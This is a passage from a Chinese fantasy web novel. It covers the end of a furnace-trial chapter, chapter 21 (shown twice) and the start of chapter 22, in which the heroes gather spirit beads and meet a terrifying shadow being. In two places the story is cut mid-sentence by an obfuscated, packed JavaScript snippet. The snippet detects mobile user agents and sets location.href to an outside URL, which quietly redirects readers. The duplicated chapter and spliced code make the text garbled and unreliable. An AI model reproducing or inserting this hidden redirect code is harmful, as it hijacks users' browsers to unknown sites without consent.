“青瓷!借给我你的力量!让我们一起……结束这场混乱!” 维生舱内,沈青瓷猛地睁开了眼睛! 那是一双怎样眼睛啊……瞳孔深处仿佛倒映着万千星辰流转,又似乎有无数细碎的光影在破碎重组。没有聚焦,却充满了难以言喻的感知力。她没有动,但整个舱体的液体瞬间沸腾般涌动!澎湃的、清凉而纯净的精神灵能,如同决堤的洪流,顺着顾风建立的链接狂涌而出! 与此同时,顾风的影子从他脚下疯狂暴涨,不再是之前那种攻击性的暗影洪流,而是化作一片朦胧的、闪烁暗红与珍珠白交织光点的“薄雾”,将他和维生舱,以及水晶柱笼罩其中! “共鸣”场域,瞬间形成! 水晶柱爆发出璀璨的、和谐的多色光芒!周围狂暴紊乱的能量流,如同被无形的手抚平,开始按照某种和谐的频率共振、流淌。水晶柱上的符文依次点亮,发出悦耳的嗡鸣。 “就是现在!”顾风怒吼,将最后的力量推向水晶柱。 【C阀——共鸣匹配完成!稳定度100%!阀门关闭!】 几乎同时,林岚也终于完成了动态校准,按下了最终确认键。 【B阀——净化序列注入完成!杂质剔除率99.8%!阀门关闭!】 只剩下雷烬的A阀。轮盘还差最后四分之一圈。雷烬的意识已经开始模糊,双手的剧痛已经麻木,完全靠着一股不屈的意志在支撑。他听到了C阀和B阀成功的提示音,精神一振。 “最后……一点……”他嘶哑着,用额头抵住滚烫的轮盘,用尽生命最后的气力,狠狠一顶! 【A阀——坚韧意志确认!压力峰值通过!阀门关闭!】 【三个核心冷却阀已全部关闭!熔炉能量过载解除!】 【挑战成功!】 空中的血色倒计时定格在00:47。 操作平台中央,熔炉之喉那露出的漩涡头部发出一声低沉的、仿佛叹息般的轰鸣,随即连同整个符文阵列一起,化为暗红色的光点消散无踪。 紧接着,洞窟壁上那几个连接着能量导管的金属柜体,同时发出“咔哒”的解锁声,柜门缓缓滑开。里面,柔和的、不同色泽的灵能光芒流淌出来——有深蓝色的蓄能珠,有绿色的治疗珠,甚至还有两颗闪烁着银白色光芒的、显然品质更高的灵珠!粗略一看,总数超过十颗!这大概就是这个关卡积攒多年的“储存灵能”。 成功了!他们活了下来,并且获得了宝贵的灵珠! 但顾风这边的情况却不妙。在共鸣场域消失的瞬间,他如同被抽空了所有力气,瘫软在地,大口喘息,鼻子和耳朵都渗出了鲜血。过度使用影蚀力量和进行深度意识链接,让他的精神遭受重创。淡金色灵珠的光芒几乎微不可察。 维生舱内,沈青瓷睁开的双眼缓缓闭上,再次陷入沉睡,但舱体各项读数剧烈波动,警报声响起,显示她的精神负荷急剧升高,生命体征出现不稳。强行被拉入高强度的共鸣,对她的脆弱意识造成了巨大冲击。 林岚和雷烬也几乎是强弩之末,但看到灵珠和同伴的惨状,他们挣扎着行动起来。林岚首先冲向灵珠柜,快速收取,然后毫不犹豫地将一颗绿色治疗珠按在雷烬焦黑的手上,又将一颗深蓝色蓄能珠塞给顾风。她自己则拿起一颗银白色灵珠,感受着其中精纯而温和的能量,迅速判断:“这颗……可能是乙级的‘清心珠’!正好可以治疗小豆和稳定青瓷的精神!” 希望,伴随着巨大的代价和丰厚的回报,在这地热熔炉的轰鸣中,显得格外沉重而真实。 他们赢得了喘息之机,获得了救命的资源,但也付出了更多:顾风与沈青瓷的链接更深,隐患未除;雷烬的身体濒临崩溃;而沈青瓷的状态,似乎因为这次强制共鸣,变得更加岌岌可危。 下一站,必须尽快找到一个相对安全的地方,使用新获得的灵珠进行治疗和休整,并决定下一步如何安置和处理沈青瓷这个越来越无法割舍的“同伴”。 #第21章:深渊一瞥 收获灵珠的喜悦,瞬间被顾风和沈青瓷的糟糕状态冲散。 林岚以最快的速度分配了灵珠。那颗银白色、散发着清冽宁静波动的“清心珠”被她小心地握在手中,这是救治小豆和稳定沈青瓷精神的关键。她先将一颗绿色治疗珠的能量引导出来,覆盖在雷烬焦黑溃烂的双手上,翠绿色的光晕渗透,焦痂脱落,新的肉芽以肉眼可见的速度缓慢生长,剧痛缓解,但消耗巨大,雷烬依然虚弱。另一颗深蓝色蓄能珠被塞进顾风颤抖的手中,精纯的能量流入他干涸的经脉,勉强稳住了他濒临崩溃的身体和精神,止住了鼻血,但脑海中冰屑摩擦的噪音和与沈青瓷链接带来的精神灼痛感并未消失。 维生舱的警报声越发急促。屏幕上,沈青瓷的脑波图谱剧烈震荡,生命体征指标下滑。强行被拉入高强度共鸣,对她脆弱的意识结构造成了严重冲击。 “必须立刻用清心珠!”林岚跪在维生舱边,毫不犹豫地将那颗珍贵的银白色灵珠贴近舱盖,尝试引导其中的宁静能量穿透复合材料,作用于内部。清心珠的光芒柔和地洒落,舱内淡琥珀色的液体似乎也泛起了一丝银辉。沈青瓷紧蹙的眉头稍微舒展了些,急促的脑波略有平缓,但警报并未完全解除,她依旧处于极不稳定的边缘。 “她的情况比小豆复杂得多,需要持续稳定的精神安抚和环境……清心珠可能只能暂时稳住。”林岚面色沉重,快速收取了剩余的所有灵珠——总共七颗深蓝色蓄能珠,两颗绿色治疗珠,还有另外一颗银白色清心珠(品质似乎稍逊)和一颗罕见的、流转着暗金色纹路的紫色灵珠。收获丰硕,但代价同样惨重。 顾风挣扎着站起,看着舱内沈青瓷苍白的面容和依旧闪烁的警报灯,一股混合着无力感和自责的情绪涌上心头。是他强行将她拉入共鸣的…… “不是你的错,”雷烬嘶哑的声音响起,他靠着一根冷却管坐下,被治疗过的双手包裹着绿色的微光,“没有她的力量,我们可能都死在规则里了。现在……先离开这里。这里太热,不稳定,而且……”他警惕地扫视着周围轰鸣的设备和下方翻涌的熔岩,“我总觉得……不太对劲。” 就在他话音落下的瞬间,顾风身体猛地一僵! 一股比熔岩热浪更加冰冷、比深渊黑暗更加沉重的“注视感”,毫无征兆地降临!这股感觉并非来自下方熔岩,也不是来自周围的机器,而是来自……他们头顶上方,洞窟那幽暗的、布满管道和阴影的穹顶! 与此同时,他体内那刚刚被蓄能珠勉强压下的影蚀能量,如同遇到了天敌的野兽,瞬间收缩、战栗,传递出前所未有的、近乎本能的恐惧!连带着脑海中沈青瓷那微弱的意识残留,也传来一阵尖锐的刺痛和恐惧颤栗。 “上面……有东西!”顾风低吼,声音因为恐惧而变形。 林岚和雷烬立刻抬头,全身紧绷。 洞窟穹顶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081238|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影,蠕动了一下。 不,不是阴影在动。是有什么东西,从阴影中“剥离”了出来。 那是一个难以用语言精确描述的存在。它大致保持着人形的轮廓,但更加修长、优雅,却透着非人的诡异。它的身体仿佛是凝固的深夜本身,漆黑无光,却又在边缘流转着星辰湮灭般的细微紫芒。它没有清晰的五官,面部是一片平滑的黑暗,只有两点如同遥远冰原上冻结星辰的幽蓝光点,代替了眼睛的位置。它悄无声息地悬浮在半空,离地十几米,黑色、带有非实质感的长袍下摆无风自动,却没有引起空气的任何波动。 它仅仅是存在那里,周围轰鸣的机器声、熔岩翻滚声、甚至空气流动的声音,都仿佛被一层无形的隔膜削弱、吸收,整个洞窟陷入一种令人窒息的、被强行降噪的诡异寂静中。 没有威压,没有气势外放。但顾风、林岚、雷烬,甚至维生舱里昏迷的沈青瓷,都感到了一种源自生命层次和灵魂深处的绝对碾压感!就像蝼蚁仰望山岳,蜉蝣窥见深海。 顾风体内的影子蜷缩到了极致,那冰冷的脉动几乎停止,只剩下无尽的恐惧。他掌心的淡金色灵珠残余的最后一点暖意也彻底熄灭。 林岚的嘴唇失去了血色,牙齿不受控制地轻微打颤。她认出了,或者说,本能地理解了眼前存在的等级——这绝非“人级”!甚至可能超越了“地级”! 雷烬握紧了手中的钢筋拐杖,指关节因用力而发白,但他连站起来的力气都几乎被那股无形的“存在感”抽空。 悬浮的黑色存在,那两点幽蓝的“目光”缓缓移动,扫过下方的操作平台,扫过被撬开的能量柜,扫过散落的灵珠,最后……定格在了顾风身上,以及他身旁那发出微弱警报的维生舱。 **【……有趣的扰动。】** 一个声音直接在他们所有人的意识深处响起。并非语言,而是纯粹意念的传递,冰冷、淡漠、不带丝毫情绪,却蕴含着无法抗拒的威严。 **【一处废弃的能量节点,一只人级的小家伙被清理……本不值得注意。】** 它的“目光”似乎在顾风身上多停留了一瞬,顾风立刻感到自己的一切仿佛都被看穿——那与生俱来的影蚀、第七病栋的烙印、淡金色灵珠的残留、与Z-07融合后的异变、还有刚刚和沈青瓷建立的深度链接……所有秘密,在这双幽蓝的“眼睛”前,仿佛都无所遁形。 **【但这里……残留着一点不寻常的‘回声’。来自更深处的‘摇篮’,和一个……不该醒来的‘回响者’。】**它的意念似乎掠过一丝极淡的、近乎“兴趣”的涟漪,看向了维生舱。 沈青瓷!它在指沈青瓷! 顾风的心脏几乎要跳出胸腔。他想移动,想挡在维生舱前,但身体就像被冻结在琥珀中的虫子,连一根手指都无法动弹。巨大的无力感和恐惧淹没了他。在第七病栋,面对护士和怪物,他还能挣扎;面对人级魔修,他还能靠智慧和拼命一搏。但眼前这个存在……仅仅是它的“注视”,就让他引以为傲(或者说恐惧)的影蚀力量瑟瑟发抖,让他所有的勇气和决断都显得如此可笑、渺小! **【一个粗糙的、充满杂质的‘影源’共生体,和一个脆弱的、濒临破碎的‘灵觉’回响者……】**黑色存在的意念如同冰冷的解剖刀,**【你们的组合,扰动了一丝既定的‘弦’。虽然微不足道……但按照‘上层观测条例’第737款,本地执行者有义务进行……评估与清理。】** 清理! 这个词让顾风灵魂战栗。他毫不怀疑,对方只需要一个念头,就能让他们所有人,连同这个维生舱,彻底化为最基本的粒子,消散在这地热洞窟中。他甚至无法理解对方话语中大部分的含义,但“清理”二字,足够清晰。 不!不能死在这里!他还没弄清真相,还没摆脱影子,还没……保护好身后这些信任他、需要他的人!阿木已经牺牲了,他不能让雷烬、林岚、小豆,还有这个刚刚被他从沉睡中拖入危险的沈青瓷,也死在这里! 一股强烈到极点的、混合着不甘、愤怒和保护欲的情绪,如同岩浆般在他被恐惧冻结的胸腔里爆发!他喉咙里发出一声野兽般的低吼,拼命地想要挣脱那无形的束缚,想要调动起体内那瑟缩的影蚀力量,哪怕只是挡在众人面前一瞬间! “呃……啊——!” 他成功了。但也失败了。 他的身体猛地向前倾了一下,影子在他脚下剧烈地蠕动了一刹那,颜色变得更加晦暗,甚至试图向上延伸,形成一层薄薄的、颤抖的暗影护罩,笼向维生舱和身后的队友。 但这耗尽全力、甚至透支了刚刚吸收的蓄能珠能量和部分生命力的挣扎,在那黑色存在的“眼”中,恐怕连涟漪都算不上。 **【……无谓的挣扎。】**意念依旧冰冷,甚至带着一丝不易察觉的……漠然。**【低等共生体的保护本能,数据库中有记录,评估价值:无。】** 它缓缓抬起了“手”。那由纯粹黑暗和流转紫芒构成的手臂,指向了顾风,以及他身后的维生舱。 死亡的阴影,从未如此清晰、如此绝对地笼罩下来。 顾风目眦欲裂,脑海中闪过无数画面——母亲病床前的无力,第七病栋的绝望,雷烬伸出援手,阿木最后的背影,林岚疲惫却坚定的眼神,小豆昏迷的脸,还有维生舱里沈青瓷那苍白的容颜……**他想保护他们!他想拥有力量!足以对抗这种绝望、这种碾压的力量!** 然而,现实是冰冷的。他的影子护罩如同阳光下的薄雾,开始自行崩解。他甚至能“感觉”到,对方指尖凝聚的那一点幽蓝光芒,蕴含着足以将这个洞窟都彻底“净化”的规则力量。 就在那幽蓝光芒即将点出的前一刻—— 黑色存在的动作,极其轻微地顿了一下。它那两点幽蓝的“目光”,似乎穿透了洞窟的岩壁,投向了某个极其遥远的方向。意识中接收到了一段无声的、跨越空间的讯息。 **【……优先级变更。】**它的意念似乎起了一丝波动。**【‘弦’的异常波动点转移……坐标确认……此地次级扰动,记录归档,清理优先级下调至‘观察级’。】** 它放下了指向顾风的手。 那恐怖的、冻结一切的“注视感”如同潮水般退去。洞窟内的声音——机器的轰鸣、熔岩的翻滚——重新涌入耳朵,却让人感觉恍如隔世。 黑色存在的形体开始变得模糊、透明,仿佛要重新融入穹顶的阴影。 但在完全消失前,它最后“看”了顾风一眼。那一眼中,不再仅仅是漠然,似乎多了一丝极其细微的、如同人类看着实验室里偶然表现出有趣反应的小白鼠般的……**玩味**。 **【继续挣扎吧,粗糙的共生体。在真正的黑暗降临前,尽量多制造一些……数据。或许,你能成长为一件稍微……有趣一点的‘样本’。】** **【我们……还会再见的。当你,或者你保护的‘回响者’,触及到更深层的‘弦’时。】** 话音(意念)落下,它的身影彻底消散在阴影中,仿佛从未出现过。 洞窟内,只剩下劫后余生的四人粗重无比的喘息,以及机器沉闷的轰鸣。 顾风“噗通”一声跪倒在地,冷汗瞬间湿透全身,剧烈地干呕起来。不是生理上的恶心,而是灵魂层面过度恐惧和压迫后的应激反应。他的双手撑着滚烫的地面,不受控制地颤抖。 渺小。无力。如同尘埃。 对方甚至没有真正出手,仅仅是一个存在的展示,一个意念的传递,就让他所有的努力、挣扎、乃至拼命的决心,都变成了一个可笑的、被标注为“无价值”的表演。 “地级……不,那可能是……天级……”林岚的声音虚弱而颤抖,她紧紧抱着那颗清心珠,仿佛那是唯一的浮木,“真正的……魔修上层……” 雷烬的脸色比之前更加灰败,不仅仅是身体的虚弱,更是精神上受到的冲击。他一直以为,突破人级关卡,获取灵珠,一步步变强,总能找到活下去甚至扭转局面的希望。但刚才那一瞥,让他看到了深渊的尺度——那是他们目前连仰望都显得奢侈的层次。 “它……为什么走了?”顾风嘶哑地问,抬头看向穹顶,那里只有阴影和管道。 “它提到了‘优先级变更’,‘坐标确认’……”林岚强迫自己冷静分析,“有什么更重要的‘异常波动’吸引了它的注意。我们……我们暂时被‘放过’了,但不是因为它仁慈,而是因为我们……还不够资格被立刻‘清理’。”这个认知同样令人绝望。 “样本……回响者……观察……”顾风咀嚼着那些冰冷的词语,看着维生舱中依旧不稳定的沈青瓷,又看了看自己颤抖的、曾试图凝聚影子护罩的双手。保护?他连自己都保护不了,拿什么保护别人?那种深入骨髓的无力和屈辱感,几乎要将他吞噬。 但在这无尽的屈辱和无力深处,一股更加炽烈、更加顽固的火焰,却悄无声息地燃烧起来。 **变强!** 不惜一切代价变强! 不是为了什么崇高的理想,只是为了最基本的——**活着**,并且,**让身边的人也能活着**! 他要掌控这该死的影子,要获取更强大的力量,要弄清楚这一切的真相,要……终有一天,不再是任人评估、随时可以被“清理”的“样本”或“数据”! “顾风……”林岚注意到他眼中翻腾的黑暗与火焰,有些担忧。 顾风缓缓站起身,擦去嘴角因过度用力而咬出的血迹。他的眼神比之前更加幽深,也更加坚定。“我没事。”他走到维生舱边,看着里面沉睡的沈青瓷,低声道,“她说,还会再见。在那之前……我们必须变得不一样。” 他弯腰,再次拉起了维生舱的拖杆,转向雷烬和林岚:“队长,林岚,我们离开这里。找一个相对安全的地方,用这些灵珠恢复。然后……我们必须制定计划。不能只满足于在废墟里挣扎求生,我们必须……主动去了解‘规则’,寻找变强的途径,弄清‘摇篮’和‘影蚀’的源头。” 雷烬看着顾风,从对方眼中看到了熟悉的决绝,以及一种新的、近乎偏执的渴望。他点了点头,撑着拐杖站起:“好。先离开。我知道刚才它给我们带来了什么感觉……但别忘了,我们还活着。活着,就有机会。” 林岚将灵珠小心收好,背起依旧昏迷的小豆,又将那颗清心珠紧紧握在手中:“前方……沿着能源导管反向寻找,或许有通往其他区域或甚至地面的维护通道。我们必须尽快稳定青瓷和小豆的情况。” 团队在濒临崩溃的边缘,因为一次来自更高层次的、近乎羞辱性的“忽视”而重新凝聚。恐惧并未消失,反而化作了更深的动力。屈辱刻在心底,成为了变强的催化剂。 他们拖着沉重的维生舱,带着伤员和宝贵的灵珠,沿着操作平台边缘,寻找离开这地热熔窟的路径。身后,熔岩依旧翻涌,机器依旧轰鸣,仿佛刚才那深渊般的一瞥从未发生。 但顾风知道,有些东西已经永远改变了。他见识到了真正的高墙,也埋下了必须翻越它的种子。而那个黑色魔修留下的“还会再见”的话语,如同悬顶之剑,也如同一个必须赴约的……未来。 21. 深渊一瞥 收获灵珠的喜悦,瞬间被顾风和沈青瓷的糟糕状态冲散。 林岚以最快的速度分配了灵珠。那颗银白色、散发着清冽宁静波动的“清心珠”被她小心地握在手中,这是救治小豆和稳定沈青瓷精神的关键。她先将一颗绿色治疗珠的能量引导出来,覆盖在雷烬焦黑溃烂的双手上,翠绿色的光晕渗透,焦痂脱落,新的肉芽以肉眼可见的速度缓慢生长,剧痛缓解,但消耗巨大,雷烬依然虚弱。另一颗深蓝色蓄能珠被塞进顾风颤抖的手中,精纯的能量流入他干涸的经脉,勉强稳住了他濒临崩溃的身体和精神,止住了鼻血,但脑海中冰屑摩擦的噪音和与沈青瓷链接带来的精神灼痛感并未消失。 维生舱的警报声越发急促。屏幕上,沈青瓷的脑波图谱剧烈震荡,生命体征指标下滑。强行被拉入高强度共鸣,对她脆弱的意识结构造成了严重冲击。 “必须立刻用清心珠!”林岚跪在维生舱边,毫不犹豫地将那颗珍贵的银白色灵珠贴近舱盖,尝试引导其中的宁静能量穿透复合材料,作用于内部。清心珠的光芒柔和地洒落,舱内淡琥珀色的液体似乎也泛起了一丝银辉。沈青瓷紧蹙的眉头稍微舒展了些,急促的脑波略有平缓,但警报并未完全解除,她依旧处于极不稳定的边缘。 “她的情况比小豆复杂得多,需要持续稳定的精神安抚和环境……清心珠可能只能暂时稳住。”林岚面色沉重,快速收取了剩余的所有灵珠——总共七颗深蓝色蓄能珠,两颗绿色治疗珠,还有另外一颗银白色清心珠(品质似乎稍逊)和一颗罕见的、流转着暗金色纹路的紫色灵珠。收获丰硕,但代价同样惨重。 顾风挣扎着站起,看着舱内沈青瓷苍白的面容和依旧闪烁的警报灯,一股混合着无力感和自责的情绪涌上心头。是他强行将她拉入共鸣的…… “不是你的错,”雷烬嘶哑的声音响起,他靠着一根冷却管坐下,被治疗过的双手包裹着绿色的微光,“没有她的力量,我们可能都死在规则里了。现在……先离开这里。这里太热,不稳定,而且……”他警惕地扫视着周围轰鸣的设备和下方翻涌的熔岩,“我总觉得……不太对劲。” 就在他话音落下的瞬间,顾风身体猛地一僵! 一股比熔岩热浪更加冰冷、比深渊黑暗更加沉重的“注视感”,毫无征兆地降临!这股感觉并非来自下方熔岩,也不是来自周围的机器,而是来自……他们头顶上方,洞窟那幽暗的、布满管道和阴影的穹顶! 与此同时,他体内那刚刚被蓄能珠勉强压下的影蚀能量,如同遇到了天敌的野兽,瞬间收缩、战栗,传递出前所未有的、近乎本能的恐惧!连带着脑海中沈青瓷那微弱的意识残留,也传来一阵尖锐的刺痛和恐惧颤栗。 “上面……有东西!”顾风低吼,声音因为恐惧而变形。 林岚和雷烬立刻抬头,全身紧绷。 洞窟穹顶的阴影,蠕动了一下。 不,不是阴影在动。是有什么东西,从阴影中“剥离”了出来。 那是一个难以用语言精确描述的存在。它大致保持着人形的轮廓,但更加修长、优雅,却透着非人的诡异。它的身体仿佛是凝固的深夜本身,漆黑无光,却又在边缘流转着星辰湮灭般的细微紫芒。它没有清晰的五官,面部是一片平滑的黑暗,只有两点如同遥远冰原上冻结星辰的幽蓝光点,代替了眼睛的位置。它悄无声息地悬浮在半空,离地十几米,黑色、带有非实质感的长袍下摆无风自动,却没有引起空气的任何波动。 它仅仅是存在那里,周围轰鸣的机器声、熔岩翻滚声、甚至空气流动的声音,都仿佛被一层无形的隔膜削弱、吸收,整个洞窟陷入一种令人窒息的、被强行降噪的诡异寂静中。 没有威压,没有气势外放。但顾风、林岚、雷烬,甚至维生舱里昏迷的沈青瓷,都感到了一种源自生命层次和灵魂深处的绝对碾压感!就像蝼蚁仰望山岳,蜉蝣窥见深海。 顾风体内的影子蜷缩到了极致,那冰冷的脉动几乎停止,只剩下无尽的恐惧。他掌心的淡金色灵珠残余的最后一点暖意也彻底熄灭。 林岚的嘴唇失去了血色,牙齿不受控制地轻微打颤。她认出了,或者说,本能地理解了眼前存在的等级——这绝非“人级”!甚至可能超越了“地级”! 雷烬握紧了手中的钢筋拐杖,指关节因用力而发白,但他连站起来的力气都几乎被那股无形的“存在感”抽空。 悬浮的黑色存在,那两点幽蓝的“目光”缓缓移动,扫过下方的操作平台,扫过被撬开的能量柜,扫过散落的灵珠,最后……定格在了顾风身上,以及他身旁那发出微弱警报的维生舱。 **【……有趣的扰动。】** 一个声音直接在他们所有人的意识深处响起。并非语言,而是纯粹意念的传递,冰冷、淡漠、不带丝毫情绪,却蕴含着无法抗拒的威严。 **【一处废弃的能量节点,一只人级的小家伙被清理……本不值得注意。】** 它的“目光”似乎在顾风身上多停留了一瞬,顾风立刻感到自己的一切仿佛都被看穿——那与生俱来的影蚀、第七病栋的烙印、淡金色灵珠的残留、与Z-07融合后的异变、还有刚刚和沈青瓷建立的深度链接……所有秘密,在这双幽蓝的“眼睛”前,仿佛都无所遁形。 **【但这里……残留着一点不寻常的‘回声’。来自更深处的‘摇篮’,和一个……不该醒来的‘回响者’。】**它的意念似乎掠过一丝极淡的、近乎“兴趣”的涟漪,看向了维生舱。 沈青瓷!它在指沈青瓷! 顾风的心脏几乎要跳出胸腔。他想移动,想挡在维生舱前,但身体就像被冻结在琥珀中的虫子,连一根手指都无法动弹。巨大的无力感和恐惧淹没了他。在第七病栋,面对护士和怪物,他还能挣扎;面对人级魔修,他还能靠智慧和拼命一搏。但眼前这个存在……仅仅是它的“注视”,就让他引以为傲(或者说恐惧)的影蚀力量瑟瑟发抖,让他所有的勇气和决断都显得如此可笑、渺小! **【一个粗糙的、充满杂质的‘影源’共生体,和一个脆弱的、濒临破碎的‘灵觉’回响者……】**黑色存在的意念如同冰冷的解剖刀,**【你们的组合,扰动了一丝既定的‘弦’。虽然微不足道……但按照‘上层观测条例’第737款,本地执行者有义务进行……评估与清理。】** 清理! 这个词让顾风灵魂战栗。他毫不怀疑,对方只需要一个念头,就能让他们所有人,连同这个维生舱,彻底化为最基本的粒子,消散在这地热洞窟中。他甚至无法理解对方话语中大部分的含义,但“清理”二字,足够清晰。 不!不能死在这里!他还没弄清真相,还没摆脱影子,还没……保护好身后这些信任他、需要他的人!阿木已经牺牲了,他不能让雷烬、林岚、小豆,还有这个刚刚被他从沉睡中拖入危险的沈青瓷,也死在这里! 一股强烈到极点的、混合着不甘、愤怒和保护欲的情绪,如同岩浆般在他被恐惧冻结的胸腔里爆发!他喉咙里发出一声野兽般的低吼,拼命地想要挣脱那无形的束缚,想要调动起体内那瑟缩的影蚀力量,哪怕只是挡在众人面前一瞬间! “呃……啊——!” 他成功了。但也失败了。 他的身体猛地向前倾了一下,影子在他脚下剧烈地蠕动了一刹那,颜色变得更加晦暗,甚至试图向上延伸,形成一层薄薄的、颤抖的暗影护罩,笼向维生舱和身后的队友。 但这耗尽全力、甚至透支了刚刚吸收的蓄能珠能量和部分生命力的挣扎,在那黑色存在的“眼”中,恐怕连涟漪都算不上。 **【……无谓的挣扎。】**意念依旧冰冷,甚至带着一丝不易察觉的……漠然。**【低等共生体的保护本能,数据库中有记录,评估价值:无。】** 它缓缓抬起了“手”。那由纯粹黑暗和流转紫芒构成的手臂,指向了顾风,以及他身后的维生舱。 死亡的阴影,从未如此清晰、如此绝对地笼罩下来。 顾风目眦欲裂,脑海中闪过无数画面——母亲病床前的无力,第七病栋的绝望,雷烬伸出援手,阿木最后的背影,林岚疲惫却坚定的眼神,小豆昏迷的脸,还有维生舱里沈青瓷那苍白的容颜……**他想保护他们!他想拥有力量!足以对抗这种绝望、这种碾压的力量!** 然而,现实是冰冷的。他的影子护罩如同阳光下的薄雾,开始自行崩解。他甚至能“感觉”到,对方指尖凝聚的那一点幽蓝光芒,蕴含着足以将这个洞窟都彻底“净化”的规则力量。 就在那幽蓝光芒即将点出的前一刻—— 黑色存在的动作,极其轻微地顿了一下。它那两点幽蓝的“目光”,似乎穿透了洞窟的岩壁,投向了某个极其遥远的方向。意识中接收到了一段无声的、跨越空间的讯息。 **【……优先级变更。】**它的意念似乎起了一丝波动。**【‘弦’的异常波动点转移……坐标确认……此地次级扰动,记录归档,清理优先级下调至‘观察级’。】** 它放下了指向顾风的手。 那恐怖的、冻结一切的“注视感”如同潮水般退去。洞窟内的声音——机器的轰鸣、熔岩的翻滚——重新涌入耳朵,却让人感觉恍如隔世。 黑色存在的形体开始变得模糊、透明,仿佛要重新融入穹顶的阴影。 但在完全消失前,它最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081239|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看”了顾风一眼。那一眼中,不再仅仅是漠然,似乎多了一丝极其细微的、如同人类看着实验室里偶然表现出有趣反应的小白鼠般的……**玩味**。 **【继续挣扎吧,粗糙的共生体。在真正的黑暗降临前,尽量多制造一些……数据。或许,你能成长为一件稍微……有趣一点的‘样本’。】** **【我们……还会再见的。当你,或者你保护的‘回响者’,触及到更深层的‘弦’时。】** 话音(意念)落下,它的身影彻底消散在阴影中,仿佛从未出现过。 洞窟内,只剩下劫后余生的四人粗重无比的喘息,以及机器沉闷的轰鸣。 顾风“噗通”一声跪倒在地,冷汗瞬间湿透全身,剧烈地干呕起来。不是生理上的恶心,而是灵魂层面过度恐惧和压迫后的应激反应。他的双手撑着滚烫的地面,不受控制地颤抖。 渺小。无力。如同尘埃。 对方甚至没有真正出手,仅仅是一个存在的展示,一个意念的传递,就让他所有的努力、挣扎、乃至拼命的决心,都变成了一个可笑的、被标注为“无价值”的表演。 “地级……不,那可能是……天级……”林岚的声音虚弱而颤抖,她紧紧抱着那颗清心珠,仿佛那是唯一的浮木,“真正的……魔修上层……” 雷烬的脸色比之前更加灰败,不仅仅是身体的虚弱,更是精神上受到的冲击。他一直以为,突破人级关卡,获取灵珠,一步步变强,总能找到活下去甚至扭转局面的希望。但刚才那一瞥,让他看到了深渊的尺度——那是他们目前连仰望都显得奢侈的层次。 “它……为什么走了?”顾风嘶哑地问,抬头看向穹顶,那里只有阴影和管道。 “它提到了‘优先级变更’,‘坐标确认’……”林岚强迫自己冷静分析,“有什么更重要的‘异常波动’吸引了它的注意。我们……我们暂时被‘放过’了,但不是因为它仁慈,而是因为我们……还不够资格被立刻‘清理’。”这个认知同样令人绝望。 “样本……回响者……观察……”顾风咀嚼着那些冰冷的词语,看着维生舱中依旧不稳定的沈青瓷,又看了看自己颤抖的、曾试图凝聚影子护罩的双手。保护?他连自己都保护不了,拿什么保护别人?那种深入骨髓的无力和屈辱感,几乎要将他吞噬。 但在这无尽的屈辱和无力深处,一股更加炽烈、更加顽固的火焰,却悄无声息地燃烧起来。 **变强!** 不惜一切代价变强! 不是为了什么崇高的理想,只是为了最基本的——**活着**,并且,**让身边的人也能活着**! 他要掌控这该死的影子,要获取更强大的力量,要弄清楚这一切的真相,要……终有一天,不再是任人评估、随时可以被“清理”的“样本”或“数据”! “顾风……”林岚注意到他眼中翻腾的黑暗与火焰,有些担忧。 顾风缓缓站起身,擦去嘴角因过度用力而咬出的血迹。他的眼神比之前更加幽深,也更加坚定。“我没事。”他走到维生舱边,看着里面沉睡的沈青瓷,低声道,“她说,还会再见。在那之前……我们必须变得不一样。” 他弯腰,再次拉起了维生舱的拖杆,转向雷烬和林岚:“队长,林岚,我们离开这里。找一个相对安全的地方,用这些灵珠恢复。然后……我们必须制定计划。不能只满足于在废墟里挣扎求生,我们必须……主动去了解‘规则’,寻找变强的途径,弄清‘摇篮’和‘影蚀’的源头。” 雷烬看着顾风,从对方眼中看到了熟悉的决绝,以及一种新的、近乎偏执的渴望。他点了点头,撑着拐杖站起:“好。先离开。我知道刚才它给我们带来了什么感觉……但别忘了,我们还活着。活着,就有机会。” 林岚将灵珠小心收好,背起依旧昏迷的小豆,又将那颗清心珠紧紧握在手中:“前方……沿着能源导管反向寻找,或许有通往其他区域或甚至地面的维护通道。我们必须尽快稳定青瓷和小豆的情况。” 团队在濒临崩溃的边缘,因为一次来自更高层次的、近乎羞辱性的“忽视”而重新凝聚。恐惧并未消失,反而化作了更深的动力。屈辱刻在心底,成为了变强的催化剂。 他们拖着沉重的维生舱,带着伤员和宝贵的灵珠,沿着操作平台边缘,寻找离开这地热熔窟的路径。身后,熔岩依旧翻涌,机器依旧轰鸣,仿佛刚才那深渊般的一瞥从未发生。 但顾风知道,有些东西已经永远改变了。他见识到了真正的高墙,也埋下了必须翻越它的种子。而那个黑色魔修留下的“还会再见”的话语,如同悬顶之剑,也如同一个必须赴约的……未来。 22. 裂隙回响 地热洞窟的巨大轰鸣声逐渐被甩在身后,但那种被深渊凝视的寒意却如同附骨之疽,紧紧缠绕着每个人的神经。他们沿着一条标识着“维护通道-03”的狭窄金属栈道前行,栈道紧贴洞窟岩壁,下方是深不见底的黑暗和远处隐约的红光。维生舱的轮子在网格地板上发出单调的摩擦声,混合着粗重的喘息,成了这段逃亡路上唯一的节奏。 